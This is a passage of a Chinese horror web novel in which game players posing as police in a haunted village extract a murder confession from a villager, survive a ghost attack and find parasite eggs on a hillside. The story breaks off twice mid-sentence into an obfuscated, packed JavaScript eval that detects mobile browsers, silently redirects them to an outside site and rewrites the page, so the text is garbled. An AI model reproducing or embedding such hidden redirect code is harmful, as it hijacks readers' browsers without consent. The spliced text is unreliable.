两人也被满屋子的粘液恶心得不轻，他们不敢贸然进来。总觉得这种粘液充满病菌。 “她的眼球怎么了？” “好像有东西在里面游动。”易礼耸耸肩，“看起来挺恶心的。” “该不会是寄生虫吧？难道是异化？”赵青立马就激动了：“你赶紧出来吧！这里面看起来好恶心啊！她不是被鬼怪袭击才变成这样的吗？这家伙该不会中了什么奇怪的病毒吧……” 易礼一愣，又扭头看向老葛媳妇。 老葛媳妇咧着一嘴细密尖牙，笑容已经不能用惊悚和恶毒形容，简直看了都要做噩梦。明明跟易礼不熟，此时却一直叫着易礼的名字：“易礼……易礼……” “她为什么一直叫你名字？” 易礼摇摇头：“大概是因为美貌吧。奇怪，我原来这么让人印象深刻吗？” 赵青：“……” 最终没能撬开老葛媳妇的脑子，易礼走出房间，几人又商量起今天的计划。 副本的人已经死的差不多，还活着的正常人就他们四个。但主线任务还有四天半。现在整个黄冥村的鬼，差不多已经都出现过。需要仔细核对一下线索，以防四个人都活不下来。 “黄老太昨晚没出现，估计是去缠着黄家人了。” “黄毅也没出现在招待所，他的活动范围应该不大。” “黄玲花……暂时不提，那个镜鬼，大概率本身就是招待所里的。” “另外，还要警惕被黄毅一刀砍掉脑袋的黄鹏。这家伙极有可能会异化成鬼怪，不过应该跟黄毅是一个水准。”霍张一条一条的列明，“而且，他可能会成为黄毅的从属。” “什么意思？” “伥鬼知道吧？”霍张看向懵懂的两人：“这就跟伥鬼是一个意思。他为黄毅的鬼怪所杀，被异化以后也只会被黄毅的鬼怪驱使。” “可，照你这么说，那黄毅岂不是黄老太的从属？” “如果黄老太要驱使他的话，也可以这么说。” “啧……” “这些鬼怪的力量来源到底是什么？为什么会有这么多奇怪的规则？” “不知道，也不奇怪。”霍张解释说：“正常来说，一个副本只有一个BOSS。其他的鬼怪都会被它压制。我们也有必须解决BOSS才能通关的副本。副本BOSS，能克制或驱使其他鬼怪。” “可你之前不是说，鬼怪不能被人为杀死吗？”赵青更懵了！ 人怎么能说话前后矛盾呢？副本规则这么混乱，这不是开玩笑吗！ 易礼却听懂了：“我明白了。” “你明白了什么？” “不能被人为杀死，但鬼可以。”易礼看向霍张：“我们可以通过引诱他们互相残杀，以此来消耗鬼怪的能量。因为，鬼怪是糅合特殊精神的能量体，互相消耗总能消耗光，是这个意思吗？” “对。你很聪明。” 霍张十分赞赏地看着易礼。这个新人，真的很有潜力啊！ “如果们能顺利通过这个副本，易礼，线下你来找我吧。”霍张盯着易礼看了许久，忍不住抛出橄榄枝。他从未掩饰自己背后有势力，这就是在命牌拉拢易礼入伙。 易礼眼珠一转，笑了：“等我们通关，我一定会去找你的，霍哥。” 几人商量完，将梁琼暗自在房间，立即就动身去了黄鹏家。 情况比预料得还要惨烈。昨晚黄家不出预料的死人了，一死死了七个。 黄鹏的妻子徐翠平和他的两个孩子，以及黄宝一家。徐翠平及两个孩子的死因跟黄鹏一样，被一刀砍掉脑袋。黄宝一家却不是，他的尸体早已面目全非，整个人碎成了无数块碎肉，惨烈程度得比王慧还要恐怖。黄宝的妻儿尸体铺满整个屋子，小血水从天花板一直往下滴，染红了地面…… “应该将他们分开的，这样就可以多支撑一夜。”易礼感慨。 赵青已经吓懵了，身体不自觉发颤：“……咱现在怎么办？黄玲花出来了，她会拉着整个村子陪葬。” “先去黄志家看看。” 意外的是，黄志没死。不仅黄志没死，他的家人也活得好好的。 此时看到霍张易礼等人过来，跟抓到救命稻草一样，惊惧的脸上全是惊喜：“警官！警官你们来得正好！黄毅他昨晚又来了！他冲进老二家，把二嫂和她两个孩子都给杀了！” 竟然真活下来了？！ 霍张脸上闪过一丝惊喜，与易礼对视一眼，立即走了过去。 12.第十二章 为什么？ 为什么黄志一家会没事？ “你详细说说。”赵青觉得惊奇，“你做了什么？为什么黄鹏一家死了，你家却没事？” 要说偷黄毅养猪场的猪，这两家都偷了吧？ 黄志的眼神突然闪烁，躲闪着不去看霍张的眼睛：“警官，外面冷，进来说吧。” 自从昨夜大雨，黄冥村的气温在一夜之间降低到最低，仿佛直接越过深秋跨入寒冬。 黄志裹着厚厚的棉服，整个身体佝偻着缩成一团。脸上和脖子上等裸露在外的皮肤上布满密密麻麻的冻伤，伤势严重到覆盖右侧的脸颊。那一个巴掌大的黑紫色血性水疱里充满了浑浊的组织液，仿佛一被戳破了就会冒出黑水来。 几人跟着黄志进了他家，黄志的老婆和孩子似乎被吓得有点精神异常。 他们看到陌生人进来，跟受惊的耗子似的呲溜窜进房间。就躲在窗帘后面或者门后面偷窥着他们。那滴溜溜乱转的眼珠藏在窗帘和门缝的缝隙之中，布满血丝，瞳孔也缩小得只有绿豆大小。 ……跟老葛媳妇初期版本有点像。 不得不说，木讷的表情搭配这种布满血丝的绿豆四白眼，这么死死盯着他们，确实有点渗人。 易礼扬了扬眉，目光扫向不远处的猪圈，里面果然一头猪都没有了。 进了屋，房间里充斥着那股难闻的刺鼻性味道。仔细观察，地面和桌子凳子上也留有很浅的粘液痕迹。 黄志招呼大家坐下，不过除了他自己，没有一个人坐。 “警官们不坐吗？” 黄志此时的笑容很古怪，那种神经质抽搐一般的皮笑肉不笑。他努力地将嘴角往脸颊两侧拉，但肌肉却像是不受控制地往面中挤着，显得局促又诡异。 “不了，我们一会儿还要去黄宝家，简单了解情况就走。” 黄志立即就急了：“可警官，我家的事还没结局呢！老二一家昨夜全死了！死得那么惨，这难道不算一起大案吗！你们为了一个黄玲花都那么多人来查案，现在死了四个难道就能不管吗！” “听你的口气，似乎对你妹妹的死不以为然？” 易礼似笑非笑，愤怒的黄志瞬间噎住。 他瞪圆了眼睛，布满血丝的浑浊眼珠神经质地颤抖着。似乎才意识到刚才的话有问题，狡辩道：“不，不是！我不是这个意思！一条人命是命，四条人命也是命啊！这位警官你是不是对我有意见？！为什么在这个时候，找我的茬儿？” “我并非是要找你的茬儿，而是你的态度太奇怪了。”易礼很擅长应付这种无赖，“我刚才说黄玲花死了，你作为哥哥不仅不惊讶，也不反驳，看来，你早知道她死了。” “我！” 黄志咻咻地喘着粗气：“她都半个月找不到人了，我猜测她死了有什么不对？” 易礼跟故意找他茬儿似的，说一句话就挑一个刺。激得黄志额头的青筋暴突，脸都气紫了。 他还想狡辩，但易礼却不给他机会：“我实话告诉你吧，现在已经不是查案的事了。黄志，你也别跟我们装相。你再装下去，村子里死的人只会越来越多。黄冥闹鬼的事，你也别假装不知情。这短短两天死了十几个人，再不说实话，大家都玩完！” “我不知道你在说什么！” 黄志瞪着血红的眼，死不承认：“你们是警察，要相信科学，怎么也信这种鬼话！” “现在这些是鬼话吗！这都是血淋淋的事实！” 易礼怒斥他：“黄毅已经死了。然后是黄鹏一家，黄宝一家。现在你们黄家可就剩你一家还活着。黄志，你可想清楚了。藏着掖着，它今晚是会去找你？还是找我们？” 黄志像一只被逼到死角的愤怒青蛙，眼珠子都要充血了。 “我告诉你黄志，不是只有你是聪明人。” 易礼威胁的模样吓得一旁赵青都不敢说话。他刚想拉住易礼叫她冷静，别激怒NPC，却被一旁霍张给无声地拦住。赵青于是疑惑，霍张却摇摇头，示意他别打断。 “你想拿我们这群警察替你挡事，但你也不想想冤有头债有主。再说，就算我们替你挡了今晚，那明晚呢？后天呢！你们难道不想活到后天了？” 说着，易礼又缓和了态度，拍了拍他道：“实话告诉你吧，养猪场后头那口水井上的石头被人撬开了。后山的土屋也被人翻了个遍。这场大雨降下来，整个村子就成了困兽之地。村子里的人走不出去，外面的人进不来。你有时间在这算计我们，不如把知道的都告诉我们，大家一起想办法逃出去。” “水井的石头被撬了？谁干的！”黄志只听到‘水井’，‘小土屋’，脸上的血色一瞬间褪尽，整瑟瑟发抖地抓着头发腿软地蹲下去：“完了，都完了……” “人还没死，就总得想办法，说不定逃过一劫呢？你说是不是？” 易礼跟个鬼似的，不停在黄志耳边恶魔低语。 黄志额头的青筋越鼓越高，像有虫子在血管里钻。右侧脸颊那充满浑浊组织液的黑色血性水疱里仿佛有什么东西游动。心理防线层层瓦解，终究是开口说了实话。 “不能怪我们，要怪就怪玲花她太倔了。是她先对兄弟们不义，我们才不得不想办法自救。” 黄志鬓角的肌肉滚动着，青筋一跳一跳的：“老娘已经死了，人死不能复生。过去兄弟们犯了错是没错，可她把我们几个弄死也换不回老娘的命啊……你说是不是？” 提到黄玲花和寡母，黄志眼中丝毫没有悔过之意。 “我们也不是故意的，谁回会想到人饿一晚上就真的能饿死呢？” “可玲花不管，道理说不通，兄妹情也不认。非要我们四兄弟为老娘赔命！那就没办法了，总不能因为她一个人，我们几兄弟都去吃枪子吧？你们说是不是？杀人的主意是老大拿的，他说只要把玲花给做了，就你好我好大家好。” 黄志申辩道：“而且我们当时也犹豫过的！是她先拿刀砍我们，我们被逼无奈只能反杀。砍玲花脑袋的是老小，老小从后面偷袭。分尸是老大分的。我跟老二就是帮忙，我们顶多算帮凶。” 黄志这时还不忘给自己脱罪。那双咕噜噜转动的眼珠子一边说话一边紧紧盯着在场几人的脸色，生怕他们会突然对他动手，身体不自觉地往后退。 霍张假装没看到他的小动作，问道：“这件事我们早就查到了。我们不负责审判你，审判你是法律的事。你只需要说实话。告诉我们，昨晚你做了什么。为什么黄毅先去找徐翠平而不是你。” “我……”黄志吞吞吐吐，始终说不出口。 易礼与霍张对视一眼，准备掉头就走。 “哎等等！我说。”眼看警察要走，黄志急了：“我昨天将偷来的猪都赶到了隔壁去。天黑之前又去养猪场把老大藏起来的值钱玩意儿给拿了，全埋在老二家的院子里！” 竟是这个原因！几人都诧异了。 “你们不知道，老大是个抠到骨子里的守财奴！他的钱，谁也别想沾！” 黄志提到黄毅还一脸的恶意，干巴巴地咽口水道：“从小老大就是这个认钱不认人的德行。谁敢趁他敢占他便宜，他就能提刀去杀人。我琢磨老大既然因为几头猪就砍了老二的脑袋，我把他全部家底都埋去老二家，他肯定会追着老二一家杀，就顾不上我……” 事实证明，他猜的一点没错。 昨晚他一家听到隔壁的惨叫，就躲在屋里没出门，老大也没来敲他的门。 易礼点了点头，表示明白：“那黄玲花呢？你还有什么想说的。” “玲花我真不知道怎么应付！” 如果不是真没头绪，他根本不会送上门来求助警察，“玲花那死丫头性格狠辣，除了老娘，她谁都不放眼里！嫁到城里以后，兄弟几个更拿捏不了她！” 黄志急得双眼血红，极懂得唾沫横飞。 他其实还是有些实话没说。比如当时杀人和分尸他确实没亲自动手，但人死之后，老大怕他们会遭不住警察盘问招了，就逼着他们兄弟每人都剁黄玲花几刀。他动手的时候，玲花的尸体已经没有一处好地方。于是就往她肚子上割了几刀，还把肠子扯出来。 如果玲花回来找他报仇，会不会也把他的肠子给生生扯出来？！ 想到这，黄志不禁打了个寒颤。 “警官，你们一定要救我啊！求你们一定救我！！” 黄志哭得一把鼻涕一把眼泪。若不知道这些事，恐怕还以为他是什么可怜又无助的乡下老农民。尤其这一脸冻伤加黑瘦的脸颊。不过在场的几人，可没人同情他。 黄家四兄弟就算是死了，那都是活该！ 霍张安抚了黄志几句，许诺去黄宝家后再做决定。就没再多逗留。 “走吧，去黄宝家。你要一起吗？” 黄志头摇得像拨浪鼓。 笑话！黄玲花才端了黄志一家，说不定还藏在黄宝家里呢！他过去，那不是送死么！ 就在几人准备离开黄志家的院子，易礼感觉到一股阴森刺骨的寒意席上后颈。 四周的温度迅速下降，强烈的危机直觉让她的头皮也在一瞬间炸开。目光扫向旁侧的墙壁，没有东西。扫向门口，没有东西，扫向天花板……她呼吸一滞。 斑驳的天花板角落，不知何时多了一个鲜红的畸形血手印。血迹的痕迹不断像手印的外轮廓晕染，墙角连日暴雨形成的水痕逐渐被染红，空气里多了一丝血腥气。 冷汗一瞬间濡湿手心，易礼悄无声息地抽出了柴刀，吓了赵青一跳。 “滴答，滴答。” “滴答。” “滴答。” …… “什么声音？” “易礼姐，你怎么了……” 赵青疑惑的话还没说完，看着黄志的眼睛一点点睁大。他手搭在易礼的肩膀，指骨一收紧，剧烈的颤抖起来。 正对面的黄志脸上，忽然多出几道新鲜的血痕。 伤口血肉外翻，鲜红粘稠的血液正顺着血痕缓缓滑落，迅速染红他的眼白，从眼眶垂落到嘴角。而他本人似乎毫无觉察，还一脸渴望地看着几人，嘴巴一张一合：“……怎么了？你们这么看着我干什么？我，我有哪里奇怪吗？” 随着他说话，粘稠的血液滑过下巴，低落到地上，滴答，滴答的砸出血花。 “下雨了吗？这破雨到底什么时候能停，一直下一直下！” 黄志似乎觉是有点痒，伸手在脸上挠了一下，“怎么我家楼房也漏水……” 他的话戛然而止，呆呆地看着手指的鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在他感觉喉咙的空气逐渐消失的瞬间，一刀从黑暗袭来，砍中了什么。 空气中一声撕心裂肺的惨叫，伴随着强烈的精神污染，冲击得陷入黑暗的赵青瞬间睁开眼。 只见手持柴刀的易礼一手抓着他的胳膊在前面狂奔。大雨倾盆而下，灰雾不知何时已经完全笼罩了黄志的家。雨水砸在脑袋上，他的听力逐渐恢复。 易礼在狂奔的同时大声的骂他：“蠢货！你的糖呢！现在不吃什么时候吃！” 糖？糖！ 反应过来的赵青连忙摸找糖果，好半天，才笨拙地从内衣口袋里拿出来。他都来不及剥皮，直接丢进嘴里。 糖一进嘴里，过了十秒，那股强烈的拉扯和阻力消失。 他这才看见霍张也在一旁，拿着一根特殊的警棍击退不断伸手的黄志。 黄志这鬼东西，竟然在死亡的一瞬间就完成异化，并辅助黄玲花杀人……一点喘息之机都不给，这个副本特么是要逆天啊啊！！！ “易礼，速度快，我坚持不了多久。” 霍张没想到易礼随便捡的柴刀，竟然能砍伤BOSS。这种大杀器就这么随便的扔在养猪场内被新人给捡走，实在是让旧玩家郁闷得吐血。 他的道具可是花了全部积分兑换的系统道具，只能使用三次。 霍张咬牙：“快走！” 明明就三十步的距离，三人冲出来，竟然花了几个小时。 冲出来的瞬间，那满眼的血手印就停止了。浓郁的雾气将黄志家完全遮挡，他们在外面已经看不清里面的情况了。 把人拖出来，易礼就将赵青给丢到一边。 赵青摔倒在地上艰难地喘息，他的脸颊和胳膊已经出现了血痕。不过因为易礼来得及时，还没有到渗血的程度。脖子上一刀伤，却是出现明显的伤口。赵青捂着喉咙，跟个破风箱似的，赫赫地喘息…… 霍张从背包里掏出一瓶水，掐着赵青的嘴就往里灌。 “不是白天吗？这才早上，黄玲花就憋不住动手了？这符合副本规则吗？！” 霍张也是第一次遇到这种情况，根本无法解释。 “或许，你先前猜测的没有错。”霍张扶着腰也在努力的喘息：“浓雾，不是为了增强黄冥村副本阴森气氛而存在，它就是为了方便鬼怪行动。” 易礼撩起嘴角的湿发，看着被浓雾掩盖的二层小楼，吞了口口水。 “有没有办法，驱散村子头顶的浓雾？” 霍张用一种‘你特喵的是在开玩笑，还是你在故意地逗气氛’的惊悚眼神看向易礼。 易礼耸肩，“想想又不违法，别这么严肃！说不定就有办法呢？” 两人等赵青脸色好了一点，才拖着疲惫的身体离开。不过在走之前，易礼打开了黄鹏家的院子门。 “……干什么？” “黄志不是说，他把黄毅的东西埋在老二家院子里了吗？”易礼指着黄鹏家的院子，道：“不如挖了带走。” “你开玩笑？” 赵青死里逃生，看着刚逃生又作死的易礼，跟不上她的脑回路。 “黄毅不是被黄老太杀的么？” 易礼道：“那黄玲花绝对惦记上我们了。黄志一死，它绝对会来找我们的。要么今晚，要么明晚。不知道黄毅，或者说，黄老太，跟黄玲花比，谁更厉害一点。” 瞬间就懂了的赵青：“……疯子。” 13.第十三章 易礼真的挖了黄志埋在黄鹏家院子里的东西。 看着金灿灿一大包的值钱玩意儿，赵青实在不能理解，这四兄弟饿死亲娘的奇葩行为。 “你说他都这么有钱了！养他妈一个老太太，能把他拖垮还是怎地？咋这么抠呢！” 赵青一边走一边骂，他现实中虽然玩笔仙，但也是个三观很正的好少年。平常都不会大声跟妈妈说话：“死了一点都不亏心！就是给咱们这群玩家带来不小的麻烦……” 最主要的是后面这条！ “这家四个儿子确实不是好东西，不过你现在生气也有点晚了。人都死完了。”易礼背着一大袋东西也不嫌沉，“搞不好到最后，这一家都成了鬼怪。到时候再给咱们来个丧尸围城，那可就精彩了！咱们几个被困在这叫天天不应叫地地不灵，陪他们作伴！” “呸呸呸！你可别乌鸦嘴了我的姐！这都什么时候了你还开玩笑！” “哎呀，这不是还没死嘛！心里压力不要太大！” 易礼嬉笑着，并没有缓解多少紧张情绪，不过倒是没那么紧绷了。 几人冒着大雨匆匆回到招待所。刚一进门就发现情况不些对劲。本该在门口的王慧的碎尸不见了，但满地的血污还在。与此同时，墙面上出现了一种黄褐色的组织液。 几人面面相觑，霍张惊觉：“副本内除了咱们四个，还有谁活着？” “应该没有了……会不会是梁琼姐？” “进去看看。” 进了房间，床上的梁琼还没醒。她的喉咙被镜鬼刺穿，伤及要害。就算喝了恢复剂侥幸捡回一条命，但对元气的损伤却是巨大的。换句话说，恢复还需要时间。 “不是梁姐，那会是谁？难道是村里人？” 易礼想到什么，立即冲出房间，一脚踹开了隔壁的房门。 门打开，此时屋内的情形已经不能用恶心来形容。 老葛媳妇已经脱离了人类的形态，彻底蜕变成让人恶心的怪。易礼之前就很疑惑，为什么霍张称呼这类东西为鬼怪。现在她明白了。鬼和怪是两种东西。纯融合副本残留精神形成的能量体是鬼，而这种由活人慢慢异化形成的非人非鬼的东西，就是怪。 老葛媳妇咧着嘴，牙齿里还残留着鲜红的碎肉块。她的眼球也软趴趴的耷拉在鼻尖前面，仿佛两团掉下来的鼻涕。她的两只手艰难地撑着地板，手指沾满了黄褐色的粘液，身体却仿佛没有了骨头支撑，软趴趴地窝在地上。对外界的刺激反应也十分迟缓，只能蠕动着向门口的方向爬。 远远看过去，真的很像一个被浓痰包裹的无骨骼生物。 墙壁上，天花板上，地板砖上，甚至是镜子上，都布满了浑浊的黄色粘液。易礼甚至看到打开的卫生间里，隐约透露的镜子一脚，镜鬼咬牙切齿的影子。 比起这些，在地板上残留的王慧的碎尸块更显得恶心惊悚。 “是她？！” 追出来的霍张和赵青对视一眼，感觉十分震惊。 “可为什么？她为什么要吃王慧的尸体？”赵青懵了，大脑在这一瞬间嗡嗡作响。 “老葛媳妇现在已经不是人类了。吃人了都！要不是她爬得不快，岂不是半夜都能爬到咱们床边，把活人给吃了？！” 时刻防备被鬼杀已经够恐怖的了，现在又出现了老葛媳妇这种恶心的东西！这是什么想尽办法要人死的副本！！ “易礼……给我……” 老葛媳妇一只手伸出来，充满精神污染地向易礼索要：“给我……” “她到底在问你要什么？你拿她东西了？” 赵青捂着口鼻，忍住干呕地问。 “没有。”她是想过要撬开老葛媳妇的脑袋拿系统，但这不是没实施么！ “那她在索要什么？你身上有她想要的东西？” 霍张的眉心紧缩。副本难度已经超过了预期，这已经不是A级本了，至少A+。 目前来说，副本的主故事线已经清晰。无论是黄玲花兄妹五个的纠葛，还是黄老太的死，都跟眼前这种蛞蝓一类的东西没有关系。老葛媳妇第一天晚上出去以后到底遭遇了什么才会变成这样，顿时就变得很棘手。而且，更诡异的是，老葛媳妇异化的程度越来越深，但却奇迹的没有死。 “她这种情况，下副本以后会恢复吗？” “不会。”霍张非常笃定：“虽然说只要没死，再严重的伤，只要下副本就会恢复。但她已经脱离人类的范畴，变成了副本里才有的东西。她脱离不了副本了。” “哦。” 易礼点点头，开始检查起身上携带的东西。 别看她行动敏捷，她身上带的东西不少。除了在养猪场离捡的那把柴刀，以及从黄鹏家院子里挖出来的东西，还有她爹的遗物和骨灰。 易礼于是将腰间的小包给解下来。然后跨进房间内，在老葛媳妇三步远的地方停下。一样一样往老葛媳妇眼皮子底下晃，看她对哪个东西反应最大。 “哎哎！易礼姐，你干什么呢……”赵青看着她猛得一批的举动，惊得冷汗都冒出来。 “没事，我试试。” 一样一样的试，还真被易礼给试出来。直到易礼将她爹的骨灰盒拿出来，趴在地上缓慢蠕动的老葛媳妇瞬间激动起来。她身体在这一瞬间拉得细长，像蜗牛的触须试探一样疯狂往易礼的方向探。 这家伙，竟然是对她老爹的骨灰感兴趣！ 易礼迅速将骨灰盒收回，那在地上趴着的老葛媳妇翻滚扭曲，恨不得能扭动前行。速度快到眨眼的功夫就要冲到易礼的面门上来。 易礼反应迅速地往后一躲，灵巧地跳开，以快到不可思议的速度躲开了它的一爪子。 “我靠！她现实中真的只是个普通人么？！”赵青被易礼刚才轻松起跳的速度震惊了，“就她这反应速度和肌肉敏感度，她真的不是隐士高人的天才弟子？” 这么紧张的时刻，霍张差点没被赵青中二的发言逗笑。 没好气地白了他一眼，“易礼，别逗了。试出来就赶紧出来，这东西不太对劲！” 霍张已经不用人来称呼她，直接认定是怪物了。 可易礼要退，老葛媳妇却不死心，更加卖力地往前冲。那咧到下颚角的大嘴，一滴一滴地往下滴着垂涎的口水。 她想吃。 易礼一瞬间明白了她的意图。虽然不知道为什么，但反应过来的瞬间，易礼迅速跳出房间，手还顺势关上了房门。听着里面嘭地一声巨大撞击声，霍张蹙起眉头：“你爸的骨灰？” “嗯。”易礼将骨灰盒重新放回小背包，“老东西该不会是吃了副本里什么奇怪的东西死的吧？” 她小声的嘀咕，却让两个人都吃了一惊。 霍张吃惊的是易礼爸爸吃过副本里的东西，赵青则是吃惊易礼父亲是副本玩家。 “怎么了？嘴张这么大？”易礼拉上拉链，眯起眼睛。 “没，没什么，”赵青吞了口口水，支支吾吾了老半天才吐槽，“……听过富二代，官二代，我还是头一次听说副本二代的。” 他用一种诡异的眼神看着易礼，发出灵魂质问：“就这玩意儿还能搞父死子承？” 霍张听到这话，眉心猛地一跳。 “这要是父死子承，那有孩子的玩家可不就惨了？”易礼却摆摆手。没有承认自己不是被副本选中的玩家，但也安慰了下受惊的两人：“我的情况比较特殊，其他人应该不能跟我比。” 但这句话对赵青来说，却等于是变相承认。 一道巨大的晴天霹雳击在头顶，少年对未来的美好幻想迅速天崩地裂：“我靠！如果真的父死子承，我们这种情况是不是一辈子别想结婚生孩子了？” “你急什么，你不还未成年么？轮到你孩子父死子承，最少也得二十年。再说，你还能不能活到二十年后都难说，杞人忧天个什么劲？”易礼真服了这小子。刚才还怕得要死，现在却悲愤起没影儿的孩子。果然说，雄性生物是被繁衍欲望洗脑的群体么？ 易礼的话瞬间把赵青拉出了悲愤的漩涡，陷入了更悲愤之中。 “你这话也太歹毒了！但我没办法反驳，可恶！” “行了，现在的问题，是咱们怎么处理老葛媳妇。”老葛媳妇已经出现食尸的情况，人民警察对她再也生不出同胞的怜悯：“得尽快处理掉她。” 放在身边，始终是个祸害！ 可怎么杀是个问题。 “她应该没那么好杀。”易礼打破他俩的美好幻想：“我刚才在房间内，瞄到开着的卫生间镜子。镜鬼就在里面待着，似乎也拿老葛媳妇没办法的样子。” “镜鬼也在？”霍张的心神已经被拉到一个极限，再拉一拉就真的要崩溃了。 “嗯。” 易礼叹了口气。她稀里糊涂被卷进来，现在反而成了输出主力。也不知道副本通关以后，她这个没有入场券的人能不能拿到通关奖励。 “霍哥，我觉得，趁着情况还没有最坏的时候。我们得尽快上后山。黄冥村本来就不大，能探索的地方基本都过了一遍。虽然主线基本清晰，好像跟后山没有关联。但既然黄冥村的副本地图包括后山，那后山就很有去一趟的必要。你怎么说？” “去。”这是肯定的。 “可咱们把梁琼姐一个人丢在招待所，是不是不太好？” 赵青担忧地看了眼躺在床上一动不动的梁琼。就这么放着她，很容易睡梦中被杀。 “那就是她的命了。”霍张无奈。虽然是同伴，但他们不可能守着梁琼什么都不做：“走吧，咱们要抓紧时间。” 临出发之前，几人先去了后面的食堂吃饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16690530|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后厨窗口那边换了个村民。不过随着时间一天一天往后推进，村民们的外貌也发生了变化。瞳孔缩小，眼白变得浑浊不堪。身上虽然还没出现粘液，但身上已经有那种若隐若现的难闻味道。 几人对视一眼，立即明白老葛媳妇的情况不是特例。 “之前在黄志家看到的，果然不是我眼花。”赵青感慨，“怎么会这样？” 霍张摇头：“如果老葛媳妇没有骗我们，就跟她在后山遇到的树洞有关。” 快速地填饱了肚子，又问后厨的村民要了塑料袋。雨衣雨伞，这个村子是没有的。 这时候，几人才终于意识到忽略了这样重要的一个问题。对啊！黄冥村几乎每天都下雨，整个村子却没有雨衣和雨伞。这不是开玩笑呢吗！ “还好易礼姐你反应快。”赵青后知后觉，“我们后面两天都尽量没淋雨。你们说，他们变成这样，会不会跟雨水有关？可黄志又说，黄冥村天天下雨跟黄玲花有关，这是不是代表着，根子还在黄玲花身上？” “也不是没这种可能。” 易礼思索了几秒，又说：“但不要忘了老葛媳妇异化，出现在黄玲花出来之前。” “哦，也对。那为什么啊！” 赵青快把头皮抓烂了。 带着满满的疑惑，几人最终登上了后山。 易礼有过上山的经验，根据之前的记忆找到了一条还算安全的路。几人巴着草丛艰难地往半山腰爬，根据易礼在山头转了七八圈的经验，终于找到了一个看起来就不太对劲的歪脖子树。 “就这里，我那天晚上鬼打墙饶了起码八圈。” 易礼指着地上还残存的一点点脚印：“你看，这里还有脚印。有人来过。” “这是你的脚印？”赵青迷迷糊糊。 “你傻啊，大雨都下几天了，我几天前留下的脚印怎么可能还能有这么深！”易礼翻白眼，“这是新的！” 霍张用手丈量了下，得出肯定答案：“有至少四个人上来过。” “都找找看。看有没有什么奇怪的东西。” 赵青有点不敢找，他怕自己随便碰一下就变得跟山下的村民一样。毕竟一旦身体出现异变，他就真的出不了副本了。他爸他妈还在家里等他回去，他可不敢死。但不找又不行，只能这一根树枝到处巴拉。 几人本来没抱多大希望，但翻找着翻找着，还真找到东西了。 “易礼姐！霍哥，你们快过来！” 赵青指着草丛里一坨像鼻涕一样的软体石头：“你们看！这东西是不是有点奇怪？！” 赵青拿树枝戳了戳，里面仿佛有东西在游动。他不敢拿起来，就蹲在一旁打量。 霍张和易礼迅速靠近，霍张仔细观察了一会儿，非常确定：“这是虫卵。” “虫卵？什么虫子的卵能有这么大？” 印象中，虫卵最多米粒大小。密集地堆叠在一起，非常恶心。但这东西一个一个的，一只就有拳头那么大。这要是孵化出来，虫子的成年体不得有猫狗那么大？ “不知道。不过你最好别戳破了。”易礼警告他：“这东西好像能钻进人的皮肉。” “你怎么知……额……” 赵青看到易礼丢了一块碎肉，旁边一只破了壳的卵里面，真的有东西钻进碎肉里了。而且眨眼的瞬间，那快碎肉就被吃干净了。地上出现了一只一拱一拱的软体虫。 “你肉哪儿来的？” “捡的王慧的。” 赵青：“呕……” 神经病！下副本的家伙没一个正常人！都是神经病！！ 霍张也有点受不了。易礼这个新人，行为和脑回路真的跟平常人不太一样：“再找找，看还有没有其他的。抓紧时间，一个小时后，我们下山。” 几人转过身去，易礼却在扒拉虫子的下面，发现了一把镶嵌了眼珠子图案的老款小刀。 巴掌大小，通体翠绿色的。刀柄上那颗血淋淋的瞳孔正怒张着，像是活着的。仅仅是雕刻，就让人感受到眼球背后布满的血管在轻微翕张。易礼的心口蓦地一紧，不知为何，想到了在神殿废墟上空那颗仿佛时刻凝视一切的猩红眼球。 鬼使神差的，她弄塑料袋包住手，将小刀捡起来，塞进了小腰包中。 找了许久，除了还没孵化的虫卵。 大雨过后，草丛之中，树缝隙之间，出现了许多已经孵化出来正在蠕动的软体虫。仿佛雨后春笋般大面积大量地涌现出来。且这些东西极度渴望血肉，正迅速向几人靠近。 情况不太妙，几人准备立即下山。 “走吧，下山。” 而就在几人走下山坡，山峰之中，忽然响起一阵又一阵撕心裂肺的嘶嚎。重重叠叠，伴随着山风呼啸，极尽恐怖。 “有东西下来了，快走！！” 14.第十四章 “咱们这撞鬼率是不是有点太高了？一点安全时期都不留给咱，还怎么玩？” 赵青一边跑一边骂。他虽然是个只过了一个副本的新人，但也知道一点规矩的。人家上吊还得喘口气呢，这副本大白天百分百撞鬼的概率完全不正常啊！这特喵的已经不是在给人类过副本了，就是纯粹是鬼怪怨气难挡，恶意的杀人游戏！ “所以说这本不正常啊！”易礼跑的最快，还有游刃有余地回头接话：“我怀疑这本里藏了不能被普通玩家带走的东西！为了杜绝外流，才让玩家只进不出！” 易礼一边说这话，一边偷瞄霍张的表情。试探他是不是知道些什么。 霍张的表情有一丝的闪躲，但很快就收敛干净。 易礼眼中光色流转，得到了肯定的答案，她就没再试探。 这个副本，果然有东西。 几人冲下山后，迅速躲进了村尾的一间空屋子。 村尾有很多年久失修的空屋子，已经多年没有人居住。据村委主任说，年轻人是因为出去打工不回来，老人则是因为年长逐渐死去，所以村子里的人才会越来越少。但在亲眼见证三天死十几个人，这个理由还站不站得住脚就另说了。 毕竟，鬼怪也没有对村民宽容的意思。 隔着窗户再回头看那座山头时，整个山头都已经被灰雾笼罩。 赵青一屁股坐在堆满灰尘的地板，咻咻地喘粗气。霍张也跑得脸发白，上气不接下气的。那张本就严肃的眉眼，此时沉默地盯着山头看。只有易礼在休息几秒后就迅速恢复了体力。 精致白皙的清秀小脸，额头鬓角被汗水濡湿。她随手一抹，很快就能在屋内转悠。 “易礼姐，你这体能是不是有点太变态了？”赵青羡慕嫉妒恨！ 